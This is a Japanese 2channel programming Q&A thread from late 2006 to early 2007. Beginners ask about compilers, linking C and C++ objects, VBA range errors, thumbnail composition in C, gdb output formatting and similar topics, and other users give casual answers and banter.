1 :
デフォルトの名無しさん :
2006/12/25(月) 17:54:18
お疲れ様
4 :
デフォルトの名無しさん :2006/12/25(月) 18:30:12
前すれからきました。学校でプログラムの授業があるので プログラムを作る練習をしたいのですが、学校はMac家はwindowsなんですが windowsでも無料でプログラムを書けるソフトはないでしょうか? 書きながら色がかわるものがいいです。
6 :
デフォルトの名無しさん :2006/12/25(月) 18:47:11
emacsです。 これってソフト名なのかな?・・・
winならxyzzyでいいんじゃね
8 :
あいうえお :2006/12/25(月) 19:11:00
最小化をできないようにするソフトを無視するソフトって存在しますか? 教えてください。
11 :
デフォルトの名無しさん :2006/12/25(月) 20:20:49
gccでコンパイルできるけどg++でコンパイル通らないソースコードの関数(CLAPACK)と g++でコンパイルできるけどgccでコンパイル通らないソースコードの関数(OpenCV)を 両方使ってプログラムが書きたいのですが、どうやってコンパイルしたらいいのでしょう?
CLAPACKはgccでコンパイルし、OpenCVはg++でコンパイルする。
13 :
11 :2006/12/25(月) 20:36:57
CLAPACKの関数とOpenCVの関数を両方使っているプログラムは どうやってコンパイルするのですか? CLAPACKの関数を使う部分とOpenCVの関数を使っている部分で プログラムを分割( 違うファイルにする )して、それぞれ gcc, g++で コンパイルして、後でリンクするということが可能なのでしょうか? いま、試しに test1.c と test2.c を作って ( test1.c では test2.cの中の関数を呼んでいる ) gcc -c test1.c g++ -c test2.c g++ test1.o test2.o とやったらダメだったんですが 何かおかしいですか?
win95のデモインストーラみたいに、 キーボードから1文字だけ入力を受け取る関数ってどこの洞窟に隠れてますか?
GNUのGってなんですか
GNUのGのGってなんですか
UNIXを逆さにすると XINU そこでXIを発音するとG つまりGNU
" XINU Is Not Unix. "
>16 元は確かGにも意味があったと思うが UNIXとのいざこざ以降 GNU は Gnu is Not Unix の略になって Gの意味は消えたんじゃなかったかな
くうき
ちょっと気に入らない流れになると ありもしない空気を登場させる人
30 :
デフォルトの名無しさん :2006/12/26(火) 12:55:33
getsが古い形式として宣言されました getsの宣言を確認してください とでたのですがwindowsではgetsは使えないのでしょうか? macではこのプログラムは普通にコンパイルができたのですが・・・
使えないとは書いてないでしょ。
セキュリティ的に問題があるからgetsとかstrcpyとかは使うなって警告が出てるだけ。
33 :
30 :2006/12/26(火) 13:17:31
なるほど! でもそのプログラムを実行しようとしてエンターキーを押したら実行しないまま ウインドウが閉じてしまうんですが・・・
C++でマルチスレッドなプログラムを書いています スレッド間で共有する変数に対してmutexで排他制御をしているのですが 共有する変数が増えてくるとちゃんと排他制御できているかどうかを コードだけを見てチェックすることが難しくなってきました ちゃんと排他制御ができていることをテストする有効な方法を教えてください
>>33 mainから抜ける直前にsystem("pause");とかしておけ
Cってなんで1パスコンパイラでも goto shine; .... .... shine: なんてのが通るんですか
>>36 アセンブラでいう1パスと違って、全く前方参照しないわけではないから。
>>34 ちゃんと排他制御ができていることをテストするプログラムを書く
39 :
デフォルトの名無しさん :2006/12/26(火) 21:25:54
C/C++のコンパイルをするときに、 ld: Undefined Symbols Symbol1 Symbol2 ... って出るものに対してはどう対処すればいいのでしょうか?
>>39 ライブラリなりオブジェクトファイルなりを指定してやる。
関数名の書き間違いがないか調べる。
GUIのプログラムを作成したいと思ってるのですが、 今やるならどの言語でやるといいですか? 今できるのはCのみです Javaも勉強したことはあるのですがすっかり忘れました ぜひオススメをお願い致します
>>41 C#がいいと思う。
Visual C# Expressが無料だから試してみて。
GUIプログラム作るのが簡単。
45 :
デフォルトの名無しさん :2006/12/27(水) 00:26:54
ようつべの動画(FLV)保存ソフトを製作しているのですが、 どこにGETリクエスト投げればFLVの在り処が返ってくるのでしょうか? トップページに /watch_video〜〜〜 とリクエスト送信したのですが、SWFのページが帰ってきてしまうようで困っています
46 :
デフォルトの名無しさん :2006/12/27(水) 01:15:07
恐れ入ります。 Delphiに統合可能な開発支援ツール「GExperts」の 「Code Librarian」のような、 生産したソースコードやアルゴリズム説明文書などを体系的に 保管・管理する一種の"ライブラリアン"ソフトで 言語に依存しないものを探している者なのですが、 どなたかご存知のものがありましたら教えて頂けませんでしょうか?
47 :
44 :2006/12/27(水) 03:22:59
これ面白いですねぇ あまりCを知ってるとか今のところはあまり関係を感じません はまりそうです
C#はCの進化版じゃなくて 言語コンプレックスを持ってるVBユーザーのために VBを改名したものだからなぁ
そうなのか。 C++がわかればなんとかなるJava かと思ってた
むしろ簡単なGUIなら C+Win32APIでいいんじゃないかと。
開発効率は知らないけど修得はC#のほうが早いでしょ
C++多少知ってるならTurboC++Explorerのほうが早くね?
55 :
デフォルトの名無しさん :2006/12/27(水) 23:17:54
文字列処理が得意で、プログラミング初心者も学びやすい言語って、 Perl、Rubyくらいですか?
Delphi
初心者がいきなりPerlはやめて
void f(){ goto FuckingCpp; FuckingCpp://ここでエラー } void f(){ goto FuckingCpp; FuckingCpp:;//切ない }
enumにタグ名を付けていないもの 例:enum{SUN,MON,TUE,WED,THU,FRI,SAT}; は、どうやって使用するのですか? ググっても、enumの説明はタグ名を付けたものしか載っていなくて… よろしくお願いします。
61 :
デフォルトの名無しさん :2006/12/28(木) 13:07:03
すいません。初めての書き込みです。プログラム初心者、というか何も勉強していないのですが、 このような問題を解決しなければならなくなってしまいました。どうか教えてください。課題を教えてくださるスレッド(?)が書き込みできなくなっていたので、 こちらに書き込ませていただきました。 【質問テンプレ】 [1] 授業単元:基礎情報処理 [2] 問題文:縦100横100のマス目(点)に分けられた紙の各点が、白と黒に塗り分けられたものを考える。この中に、下にある様な黒い点で囲まれた図形が1つだけある。図形は必ず、黒い点で囲まれており、 内部は白い点で埋め尽くされている。この「囲まれている」とは、各黒い点の上下左右および8つの点のどれかが黒い点となっているものと考えよう。 □□□□□□□□□□ □□■■■■■■□□ □■□□□□■□□□ □□■□□□□■□□ □□■□□□□■□□ □□■■■■■■□□ □□□□□□□□□□ □□□□□□□□□□ □□□□□□□□□□ □□□□□□□□□□ この図形は整数値の2次元配列(例えばC言語ならa[y,x])で表されている。x軸は左から右、y軸は上からしたとするので、a[1,1]は一番左上の点になる。この配列はプログラムに入る前に何らかの方法で、白い点は0、黒い点は1になっているものとする。 さて、図形の面積、つまり黒い点で囲まれた内部の「白い点」の数を数えるプログラムを考えよう。ただし図形は必ず紙の上に1つだけ存在し、また必ず紙の端から点1つ以上ずつ少し離れた位置にあるとする(つまり黒い点は紙の上下左右の端には存在しない)。 [3] 環境 [3.1] OS:Windows XP [3.2] コンパイラ名とバージョン: すみません、よくわかりません [3.3] 言語: なんでもかまいません。 [4] 期限: 2007年1月5日0時まで [5] その他の制限:まだ何も習っていません。具体的に回答を提示してくれると助かります。
おぉーマルチだな。
63 :
デフォルトの名無しさん :2006/12/28(木) 15:40:22
サブルーチンの中にサブルーチンを書くのはどうでしょうか? というのも指導教官に「それはよくない。美しくない」と指摘されたのですが、 実用性を重視するなら、ありといえばありですよね? みなさんが直面された重要な困難があれば教えて欲しいです。
おぉーマルチだな。
サブルーチンの中にサブルーチンを書ける言語って何があったっけ? Pascal系だけ?
Ruby
アセンブリィ
>>60 #deinfe (C)やconstな整数型 (C++)のように単なる定数として使う。
71 :
デフォルトの名無しさん :2006/12/29(金) 01:55:49
まあ、Cに文字列なんてないがな。
物理シミュレーションでは、球体などが転がっているときと、 床面の近くでバウンドしているだけの状態は普通区別するんですか?
Xerces-C で SAX2 使ってるんですが、 void characters(const XMLCh *const chars, const unsigned int length ); あたりに報告されるタグ内のテキストが実態参照文字を含んでる場合に、 その文字で区切られ複数回コールされてしまい、困っております。 実態参照文字を含むテキストでも、1回のコールで全文字列を取得できるメンバー関数、 もしくは void characters ... で実態参照文字に特別な意味を持たせないようにする設定方法 をご存知でしたら教えてください。
75 :
デフォルトの名無しさん :2006/12/29(金) 21:35:50
VCとかでデバッグビルドすると @ILT+0(_GetEnvironmentStrings@0): 00411005 E9 76 DD 01 00 jmp GetEnvironmentStrings (42ED80h) @ILT+5(_strcspn): 0041100A E9 11 4C 01 00 jmp strcspn (425C20h) @ILT+10(__snprintf): ・・・ ・・・ みたいな感じでcall先がjmpで、jmp先が本物の関数というようにコンパイルされてるのですが このjmp表の正式名とかってあるのでしょうか? あとILTが何の略か教えてください
76 :
ww :2006/12/29(金) 21:36:34
>>75 コールゲート
80386のアセンブラの本でも読んだらわかるよ
>>78 「Perlとかは、文字列処理が得意だからCGI書くのに向いてる。
Cで書くのは大変」
みたいな話があるから、そこからの連想じゃね?
じゃあCで掲示板かいてよ あ、ライブラリはlibc以外使用禁止ね
これはあれかな、本人的には「できないだろ?」というところへ 追い込んでるつもりのレスなのかなw Cの経験が長い人って、大抵は手元にlibc以外使わずに書きためた便利コードを 山ほど溜めてるから(Cはそういう付き合い方をしてナンボの言語)、まぁ、余裕だろうねぇ。 「ライブラリ」と「これから自分が書くコード」にしか想像力が届かなかったのが見え見えの、 ちょっと幼稚なレスに見えるな、俺にはw
85 :
デフォルトの名無しさん :2006/12/30(土) 17:45:26
>>77 セキュホになりやすいから鯖管にいやがられるだけだよ。
造ること自体は大変じゃない。
>82 まぁ、CGIやりたいなら素直に Perl/Python/Ruby か PHP にしとけ
コンパイルが必要なのはレンタル鯖に不向きなんで upしただけで動くのが好まれる。 あと他人の書いたスクリクトぱくって流用のパターンも多いか
>>84 おまえのほうが用地にみえるはおれだけかw
静的な言語に鯖運用は不向き?
別にそんなことないだろ
クライアント側にperl使うやつはあんまりないだろ 攻撃スクリプトとかは見かけるけど
テキスト処理にはローカルで使うけど これはクライアントとは言わないやね スタンドアロンと言えば良いのか
93 :
デフォルトの名無しさん :2006/12/31(日) 12:07:01
VBA初学者です。簡単なコードなのに実行できずエラーが出てしまいます。 みなさんの知恵をお借りできないでしょうか。 下記コードで、「RangeクラスのSelectメソッドが失敗しました」とのエラーが出ます。 コードの内容は、指定したワークシートのある範囲にある数値を消去する、というものです。 よろしくお願いします。 Sub DELETE() ' ' DELETE Macro 'ワークシート名「a」のデータ消去 Worksheets("a").Range("B6:K28,B33:K55,B60:K82").Select Selection.ClearContents 'ワークシート「b」のデータ消去 Worksheets("b").Range("B6:K28,B33:K55,B60:K82").Select Selection.ClearContents End Sub
それぐらいだったらExcelでマクロ記録して再現すればいい。
Worksheets("a").Range("B6:K28").Select Selection.ClearContents Worksheets("a").Range("B33:K55").Select Selection.ClearContents Worksheets("a").Range("B60:K82").Select Selection.ClearContents
文字列を検索して切り出すプログラム(日本語プログラム) を組んだのですが、処理が遅いので別の言語で組もうと 思っています コンパイラーがフリーソフトであるもので、 とにかく速くておすすめなのはないでしょうか
C
遅いのをいきなり言語のせいにされてもな
>>98 組んだのがインタープリター型の言語で、文字列処理は速くない
とレスされたので、コンパイラーだったらもう少し速い
かなと思ったんですが
100 :
デフォルトの名無しさん :2006/12/31(日) 17:41:32
2ちゃんねるで書き込みしたら名前のところに何も書いてないのに IPアドレスが勝手に書き込んでありました。どうすればいいですか?
110に電話して懺悔でもしといてください
102 :
デフォルトの名無しさん :2006/12/31(日) 18:02:51
>>99 何の言語でどうやって組んだのか言ってもらわんと。
多分、根本的な解決はできないと思われ。
ネックになっている部分は把握しているのかの。
103 :
デフォルトの名無しさん :2006/12/31(日) 18:05:39
C#でもVB.NETでもよいんだけど、 VS2005でほげほげウィザードみたいなフォームってどうやって作る? 基本としては ・戻る/次へがある ・戻った時にその時の情報を記憶されている ・同じウィンドウサイズ ・バナー であると。 ベースのフォームがあって、 それを継承したいくつかのフォームがあって、 カレントのフォーム(状態)を記憶しておいて、 戻る/次へのタイミングで、必要なフォームを表示するって 感じになるのかなぁ ...とか思いつつ。 皆さんどうっすか? もっと楽チンな方法ってあるの?
>>102 ”ひまわり”っていう日本語プログラムです
htmソースからキーワードを検索して、何文字か後にある
数字を切り出し、">""<"をくっつけて最後にタグ削除します
この動作を6000回くらいします
>>103 適当にTabControlでもPanelでも貼り付けて切り替えればいいじゃない
>>104 そんなものたぶんperlにやらせたって1秒もかからんでしょ
>>106 そうですか。その本は本屋で立ち読みしたことありますが
いまいち解らなかったので
ではさしあたってそれを勉強して組んでみます
108 :
デフォルトの名無しさん :2006/12/31(日) 19:24:40
>>105 TabControlってタブのでっぱり消さなかったと記憶。
んで、Panelって張り替えってできるの?
この時はこのフォーム、その時はそのフォームみたく。
...フォームって書いたけど、
ようは表示されているコントロールを全部置き換えることが
できるかどうかなんだけど...。
>>100 一部デフォ名無しが「fusianasan」になってる板があるから名前欄に「山崎渉」とでも書いておけば?
>110 ちょwwwその名前じゃ解決しねえwww
112 :
デフォルトの名無しさん :2006/12/31(日) 21:32:40
>>104 おれは「ひまわり」のことはよく知らんが、
その手の処理ならC言語で書き直したところで対して変わらん気がする。
まずはアルゴリズムを見直すことをおすすめする。
んで、こっからはエスパー的な回答なんだが、もしかして一文字ずつ読み込んで文字のチェックをしてないか?
正規表現をうまく使えば、そんなに負荷はかからんと思うのだが。
(すでに使っていたのならすまん)
>>112 おっとさらにレスが付くとは思いませんでした
キーワードが何文字目か返す関数があるんですよ
キーワードが一つのファイルに400くらいあって
一度検索したらそのキーワードを消して次のキーワードの文字数
を返すというやり方でやっています
えーっと、質問があると学校の図書館いけとかって答えあるよな。 でも、おれ、もう大学卒業しちゃってんのよね。 職場もプログラムとか全然関係ないんだけど、趣味でプログラムしてたら google先生ではどうしても判らないところが出てきた。 そんなおいらはどこに調べに行けばよい?
>>115 >>112 ありがとうございます
つまりタグ削除の時に消したくないソースがあるのですが、
">"を”置換”という命令でキーワードと置き換えれば
えらく簡単にできる事にさっき気づきました
結構最初のプログラムも苦労して組んだのにな....
まあ気づいただけ今年はラッキーな年でしょう
>>94 ,95
返信ありがとうございます。
マクロ記録したら、解決しました。
Worksheets("R").Range("B6:K28").Select
Selection.ClearContents
のように、シート.セル.Selectではエラーになりました。
けれども
Sheets("R").Select
Range("B6:K28").Select
Selection.ClearContents
のようにシートとセルをそれぞれ別に選択したら
エラーがなくなりました。
なぜこうなるのかわかりませんが、、
Worksheets("R").Range("B6:K28,B30:K52").ClearContents
121 :
デフォルトの名無しさん :2007/01/01(月) 21:10:32
VisualStudio .NET 2005ですが、 IE7だとプロジェクト作成のWizが動かないことってある? ちなみに C++>MFCスマートデバイスアプリケーション を選択したら このページのスクリプトでエラーが発生しました ライン: 4034 文字: 3 エラー: オブジェクトがありません。 コード: 0 URL: file:///C:/Program%20Files/Microsoft%20Visual%20Studio%208/VC/VCWizards/SmartDeviceAppWiz/MFC/Application/html/1041/default.htm てなかんじのエラーメッセージが出てきてWizが起動しません 誰か情報を知ってたら教えてくださいな
122 :
デフォルトの名無しさん :2007/01/02(火) 01:28:53
浜口優や坂田利夫よりも賢いオマイラに質問。 VBAで、キーワードとしてのステートメントと、関数の違いって何? それぞれ2、3個づつ例をあげてくださいませぬか。
123 :
デフォルトの名無しさん :2007/01/02(火) 01:36:24
ゲームのパッド入力の同時押しを検出する方法についての質問です。 たとえばボタンAとBがあったとして、 同時押しを検出したいのですが、「AとBを同時に押している」という 条件式にすると、人間の手で操作しているためどうしてもAかBが先に 押されてしまい、そのボタンの効果が出てしまいます。 AがBが押されはじめた5フレーム後の状態を比較して初めて決める方法も考えたのですが、 こうすると操作にラグがでてしまいます。 色々調べてみたのですが、同時押しの検出について書かれたページが見当たりませんでした。 どのような方法が良いのでしょうか? ご教示お願いします。
あ、すいません。書き込み場所間違えました。向こうで再度質問しなおします。
トラッカー総合スレとかないっすか? mantisとかbugzillaとかdotprojectとかtrackとか
127 :
デフォルトの名無しさん :2007/01/02(火) 20:33:47
ここ数年、strutsを触っていないのですが、今度のシステムで採用することになりました。 struts1.1から現行の1.2になって大きく変わっているところはどういったところでしょうか?
var=(varくく2)|var;
129 :
デフォルトの名無しさん :2007/01/02(火) 21:04:10
すみません、過去スレ探したんですが見つからず。。。 makeの使い方がまとめてあるようなページってないでしょうか。 いくつか見つけは下のですが、いまいち情報量が足りなかったり、 逆に詳細に書かれすぎていて。 参考までに、皆さんが普段、 Makeを調べるあるいは使うときにどういうサイトを参考にしているか おしえていただけないでしょうか。
LSIC86のマニュアル
132 :
デフォルトの名無しさん :2007/01/02(火) 22:01:59
>>130 そうですよね。すみません、勉強します。
ありがとうございました。
質問です。配列はリストの一種なのでしょうか?
概ねそうです。
あじがとう! 大好き!
136 :
デフォルトの名無しさん :2007/01/03(水) 20:57:10
ビットマップの仕様についてなのですが、 ビットマップの中身をバイナリエディタ等で開いた場合、 ヘッダなどの頭部分(54バイト)を飛ばしたら、あとは最後までRGB(A)の羅列だけなのでしょうか?(実際にはBGRですが…) 詳しい方、ご教授をお願いします!
138 :
デフォルトの名無しさん :2007/01/03(水) 20:59:49
strutsでWebサーバにtomcatを使用しています。 その場合、データソースの設定はserver.xmlに書くのでしょうか?
質問させていただきます. ppm方式の画像のサムネイルリストのアルゴリズムが載ってるサイトなど ご存知なかたはおられませんか? 冬季休業の課題で手詰まりになっております. どなたか御口授ください.
ご教授?御口授?
“教示”
“すみません”
>>138 ネット関連の板で聞いたほうがいいのでは
>>139 どの部分がわからないのかさっぱり伝わってきません
147 :
139 :2007/01/03(水) 21:22:55
>>146 背景画像を用意してそれに乗っける形で表示したい画像を載せるべきか,
はたまたある程度の領域を確保して背景画像と表示したい画像を同時に
描画するべきかというのを考えるとどちらのほうがアルゴリズム的には
楽なのか...と最初に考えたのですが両方ともいい感じのアルゴリズムが
考えられなくて,もしかしたらもっと簡単なアルゴリズムがあるのではないか
と考えたのですが...
このような形で私の言いたいことは伝わりますでしょうか?
>>147 全然。
ターゲットのOSも言語も規模もわからないし。
エスパーの端くれとして予想はできるけど、外した答え書くのも馬鹿らしいし。
特定の言語で作るならその言語のスレか、画像処理のスレへ。
149 :
139 :2007/01/03(水) 21:33:35
アルゴリズムにOS等は関係してくるのですか... 言語はcで480x250のppm画像を五枚ほど, 背景画像を準備した上でその上に並べて(並べ方は任意) またサムネイルをppm画像化するといったプログラムなのですが... おとなしくcスレいったほうがよろしいですかね...
>>136 ヘッダは54バイトとは限らない。
ヘッダより後も無圧縮とは限らない。
JPEGやPNGが含まれてることもある。
表示をしたいのか、画像を作るだけでいいのか、で違うし 画像処理用のライブラリを使うのかどうかなど やりとりがめんどくさくなったなあ
152 :
139 :2007/01/03(水) 21:39:16
>>151 とりあえず画像さえ作れば表示プログラムは作ってあるのでサムネイル画像の
作り方を教示していただければなぁと...
できれば処理ライブラリなどは使わずに作成したいと思うのですが.
>>152 背景と画像の重ねくらいはできるだろうから、あとは縮小か?
どんなリサイズの方法を想定?速度?画質?
って、一つの話で何個も疑問点が出てくるから、ライブラリ使ってくれよ
>>152 ボケか。
ppmの読み方書き方もピクスマップの縮小アルゴリズムもググればすぐに出てくるだろうが
日本語、質問の仕方、物事の調べ方etc. 丁寧に教えてやって、みんな優しいな。
156 :
139 :2007/01/03(水) 21:48:53
>>153 縮小方法などは実際わかっているんですが...
じつは背景と画像を重ねる方法がよくわからないんです.
>>154 ppm読み書きも縮小プログラムも作ったのですが如何せん
背景画像と各々のppmをひとつのppmにするアルゴリズムが思いつかなくて...
139〜156まで、無駄に終わったってわけだ どうして最初にそれが言えないんだろうな
>>156 ここまでの自分の書き込みを読み返してみろよ。
どうしたらそういう結論になるよ。
159 :
139 :2007/01/03(水) 21:53:55
>>159 最後に
真面目に聞いているなら顔文字だのAAだのやめろ
非常に不愉快だ
161 :
139 :2007/01/03(水) 22:01:56
普通にメモリに読み込んでコピーすればいいだけだろ。どこに難しいことがある。
163 :
139 :2007/01/03(水) 22:05:18
>>162 先ほどサイズをあげたのですが実はあれ以内の画像ということでサイズが
小さいやつもありまして,
そうすると画像をきれいに陳列できなくて困っています.
言葉足らずで本当に申し訳ございません.
>>163 「きれいに陳列できる」ってどういう意味よ
正月だからだぞ、こんなにつきあってるのは
>>163 だから、きれいにってどんな状態なんだよ、今。
どううまくいってないんだよ。
163の文面からだと背景と画像の重ねはできてるんだよな?
正月から釣られたよ
166 :
139 :2007/01/03(水) 22:16:14
>>164 □□□□□□□□□□□□□□□□
□■■□□■■■■■□□■□□□
□■■□□■■■■■□□■□□□
□□□□□□□□□□□□□□□□
□■□□■■□□■■■□□□□□
□■□□■■□□■■■□□□□□
□□□□□□□□□□□□□□□□
というふうではなく
□□□□□□□□□□□□□□□□
□■■□□■■■■■□□■□□□
□■■□□■■■■■□□■□□□
□□□□□□□□□□□□□□□□
□■□□□■■□□□□□■■■□
□■□□□■■□□□□□■■■□
□□□□□□□□□□□□□□□□
といった左端揃えのサムネイルを作成したいのです.
167 :
139 :2007/01/03(水) 22:20:12
>>168 大変ご迷惑おかけします.
背景画像の書き出しの際に同期して
表示したい画像を書き出すという形で
背景と画像の書き出しを行いたいとおもっております.
>>166 列のなかで一番幅の広いのを探せばいいんだよ。わかるかな?
>>166 横に並べる画像の数と、すべての画像の横サイズと、
1ラインにおける最大の横サイズの場所とそのラインの画像の位置がわかれば
各画像のX座標がわかるだろ?
ていうか、未来に向かって答えられてもな。OSも言語も答えないつもりらしいし。
しかも解決したわけでもないのに問題点が
>>156 からまた変わってる。
よくできた釣りだなと感心しております。
173 :
139 :2007/01/03(水) 22:28:01
大体の感じがつかめた感じなので実際に試してみようと思います. 新年早々ご迷惑をおかけして申し訳ございません. ...一応OSはVM上に載せてたdevianで言語はcでした. 失礼します.
もしかして: Debian
175 :
デフォルトの名無しさん :2007/01/03(水) 23:33:12
こういった技術を学び始める人って、大体何歳?というと変ですが、どの辺から学び始めるんですかね?、高校卒業後に専門行くとか、そのへんですか?
177 :
デフォルトの名無しさん :2007/01/03(水) 23:48:59
みなさんAll-In-One Eclipseって使われてますか? なんか、使ってるとぐだぐだになってくるんですが・・・。
"ぐだぐだ"と言われても、どう"ぐだぐだ"なのかわからん。
179 :
デフォルトの名無しさん :2007/01/04(木) 00:12:14
>>178 使い方がよくわからず、結局時間がかかるだけのような気がするのですが・・・。
>175 始める時期は人それぞれ。ただ一つ言えるのは 最近はネット上(この板の各スレも含む)に色々な情報があるから 好きな奴は小学生だろうが中学生だろうがやり始められる。 学校は基礎的なアルゴリズムや各種用語など 色んな事が学べるのは確か。 ・義務になってしまう ・パソコン関連の厄介事を頼まれる可能性 などの欠点もあるがな。 ちなみにプログラミングを仕事にした場合の末路は マ板で各スレのログを漁ってみれば色んな愚痴が聞けるぞ。
プログラミングのおかげでNEETから脱出できました。(本当) ありがとう>w<ノ。
182 :
デフォルトの名無しさん :2007/01/04(木) 01:41:43
何処で訊けば良いのか解らなかったので ここで質問させて下さい。スレ違いなら申し訳ないです。 情報セキュリティーでISO/IEC 15408 の意味が調べても解らなく困っています。 比喩(簡単に違う物に喩えて)解説しては戴けないでしょうか? 宜しくお願い致します。
自作のプログラムで2の平方根を1万桁求めるプログラムを作りました。 僕の作ったプログラムでは平方根を1万桁求めるのに1分45秒掛かりました。 ネットにある平方根を求めるサンプルプログラムでは1万桁の計算をするのに 1.5秒でできました。 両方とも自分の環境で実行しました。 PCのスペックはCPUはC2D E6300でメモリは1GBです。 これは僕のプログラミングの処理が悪いのでしょうか。
情報セキュリティー ISO/IEC 15408 - Google 検索
>>179 こういうのは相性があるからな。自分に合わないと思ったら、諦めて他のを使ったらいい。
仕事とかでどうしても使わなければならない時は・・・ 使ってりゃ、そのうち慣れるさ。
187 :
デフォルトの名無しさん :2007/01/04(木) 12:09:24
アクセスするとクライアントのグローバルIPをただ一行の表示で返してくれる WEBサイトがあったと思うんですがどこでしたっけ?
188 :
デフォルトの名無しさん :2007/01/04(木) 12:52:25
タナカです。と表示させるプログラムをつくりたいのですが、下のようにうつと エスケープシーケンスの使い方が正しくない 構文エラー 定数が2行目に続いています となるのですが、なにが悪いのでしょうか? 本をみながらやっているのですが、同じようにうってるはずなのに・・・ #include <stdio.h> int main(void) ; int main(void) { printf("タナカです。"\n"); return(0); }
190 :
188 :2007/01/04(木) 13:00:58
すみません。解決しました
191 :
デフォルトの名無しさん :2007/01/04(木) 13:56:26
WindowsのShDocVw.dllとMSHTML.dllのそれぞれ機能について教えてください。 特にShDocVw.dllが何をするものなのかよくわかりません。
WinXP + Delphi6 です。 iTunesをコントロールするアプリを作っているのですが、 任意のプレイリストを指定する方法が判りません。どうすればいいでしょうか? プレイリストの名前自体は for i:=1 to iTunesApp.LibrarySource.Playlists.Count do ListBox1.Items.Append(iTunesApp.LibrarySource.Playlists.Item[i].Name); で取得できました。
C89のJISでの規格書(JIS X3010-1993)は 現在入手することが出来ますか?
あたりまえやん
>>194 サンクスだけどそこじゃなくて、何だったっけほら
もう少し派手めの感じのやつ、ほら?
えーっと、明日会社に行けば分かるのだが・・・・
ほら
199 :
デフォルトの名無しさん :2007/01/04(木) 17:49:08
>>195 昔のJISハンドブックは情報学部とかを抱えた大学図書館でコピーすれ。近くの国公立大学図書館なら利用資格内で利用できるだろ。
もしくは、日本規格協会から購入したものには、解説があり、改訂内容が書かれてあるから、日本規格協会から買え。価格は1〜2万円ほどしたと思う。
ほら
ほら
API、クラスライブラリー、アプリの動く仕組みがよくわかりません。 Eclipse,Javaで携帯用アプリを作ることになったのですが、 IApplicationみたいにインポートしないと使えないクラスと、Threadとかインポートなしで使えるクラスは何が違うんでしょう。 DojaやMIDCというAPIのリファレンスを見て作ってるんですが、それにThreadとか基本的なクラスは載っていません。 そういうクラスはDojaとかに含まれているんでしょうか? それともJavaのSDKをインストールしたとこから読みこんでるんでしょうか? そして携帯にはJavaの基本クラスとDojaやMIDCのAPIはもとから入っているんでしょうか? あと、APIとクラスライブラリというのは同じものですか? DirectXやWin32APIというのもDojaと同じ次元のものですか? 質問多くてすいません。一部でもいいので回答お願いします。
javaはコンストラクタでのreturnにはどんな意味があるんですか?
>>203 Javaのスレッドはライブラリじゃなくて言語仕様の一部
>>204 returnの時点でコンストラクタから抜ける。
>>205 ThreadとかSystemとかExceptionというのは、Javaを使える環境なら、
何もしないでもいつでも使えるということですか。
それらはJavaをインストールしたとこのjreに入ってるんでしょうか?
>>203 Threadがインポートなしで使えるのはjava.langパッケージに属しているから。
java.langパッケージのクラスは言語仕様で自動的にインポートされていることになる。
>>208 明快な回答ありがとうございます。一つ疑問が解けました。
>>203 MEは触ったことがないのでよく分からないが、
基本的なクラスもDoJa等の拡張ライブラリのクラスも
携帯のJVMのクラスローダがアクセスできるところに置かれているはず。
それが携帯のチップ内なのかネットワーク上のどこかなのかは知らないけど。
どこに置かれているかは別にして、
基本クラスも拡張ライブラリも携帯で元から使えるという意味では、
携帯にもとから入っているといってもいいのかも。
211 :
デフォルトの名無しさん :2007/01/04(木) 20:21:40
直球で質問 libjpegをVC8でビルドする方法を教えて下さい libjpegのソースに同梱されているVisualStudioのプロジェクトファイルは古過ぎて VC8のプロジェクトファイル変換時にエラーを出してしまい使えませんでした
ビデオキャプチャボードからの映像信号に画像処理を施して表示するソフトを作りたいのですが、 どのようにして映像信号を取得すれば良いのでしょうか?? C言語とWin32apiは理解しています。
213 :
デフォルトの名無しさん :2007/01/04(木) 23:14:59
質問です。 前橋和弥氏は、Cには多次元配列は無く、擬似的に配列の配列という形で 多次元配列的なものを作成することができるだけであると言っています。 そこで、以下のような疑問を持ちました。 ○真の多次元配列とはどんなものか? ○どんな言語で搭載されているのか? ○真の多次元配列を持った言語が有ったとして、その言語の一般的な コンパイラは多次元配列を配列の配列として実装していたりすることは 無いのか? 誰か教えてください。
>>213 解答です。
○前橋和弥氏に聞いて下さい。
>>213 そこで、以下のような疑問を持ちました。
○どうして前橋和弥氏に聞かないのか?
218 :
212 :2007/01/05(金) 00:18:44
>>217 DirectShowですね!
ありがとうございました!
>213 持ってる範囲の知識で書いてみる。 間違い見つけたら訂正plz。 【配列の配列】 配列の各要素に「配列へのポインタ」を格納する 大要素の中に小要素が入っているイメージ [0] -> [0][1][2][3][4] [1] -> [0][1][2] [2] -> [0][1][2][3] 【真の多次元配列】 各要素が連続して要素に大小の区別は無い [0,0][0,1][0,2][0,3][0,4] [1,0][1,1][1,2][1,3][1,4] [2,0][2,1][2,2][2,3][2,4] 実際のところはこの方が正確だろうな [0,0][0,1][0,2][0,3][0,4][1,0][1,1][1,2][1,3][1,4][2,0][2,1][2,2][2,3][2,4] 【どんな言語】 BASICのdimコマンドなどが有名か。 ちなみにCでもやろうと思えば int ary[3*5]; /* [3,5] の要素を持つ配列を確保 */ ary[1*5 + 3] /* [1,3] にアクセスする */ 【実際は多次元配列を…】 環境による。どちらにしても言えるのは 配列の配列しか扱えない環境には多次元の扱いが面倒な言語もあるが 多次元配列を実装している環境ならそれを扱いやすい仕様になっているはず。
手間がかかるか、手間がかからないって話?
言語による多次元配列サポートつったら 字面的にarr[i][j]ではなくarr[i,j]って宣言・アクセスできるって程度の話じゃねーの。 とりあえずPascalは可能だな。 typeFruit = (Apple, Banana, Cherry); var arr: array[0..10, False..True, Apple..Cherry] of Integer; arr[5, False, Banana] := 5;
222 :
デフォルトの名無しさん :2007/01/05(金) 12:43:31
コボルだと7次元くらいできなかったっけ。 聞いただけの話なんで知らんけどw
メモリの配置方法が違うんでない?>多次元配列/配列の配列
つーか、配列のサイズを呼び出し側がわかってないとならんだろう、配列の配列は
>>213 からくりは単純
たとえばC#ではint[,](多次元配列)とint[][](配列の配列)があるが、
Cでいうとそれぞれ配列の配列と配列ポインタの配列にあたる。
226 :
デフォルトの名無しさん :2007/01/05(金) 19:49:44
デバッガ(gdb)の使い方について質問させてください。 プログラム中で double a = 123.4 ; と変数aの値を指定するとします。 この変数をprintコマンドで出力すると (gdb) p a $1 = 123.4 という風に表示されますよね。これを $1 = 1.23400e+02 という形式に変更できないでしょうか? 桁数が上がるといちいち何桁か数えなくてはならず困っています.
文字認識のようなプログラムが書きたいんですが 一般的なソフトではどんなアルゴリズムが使われているんでしょうか KNN法ならわかるんですが、計算量が多くてリアルタイムでは無理でした
ニューラルネットワークでも組んどけ。
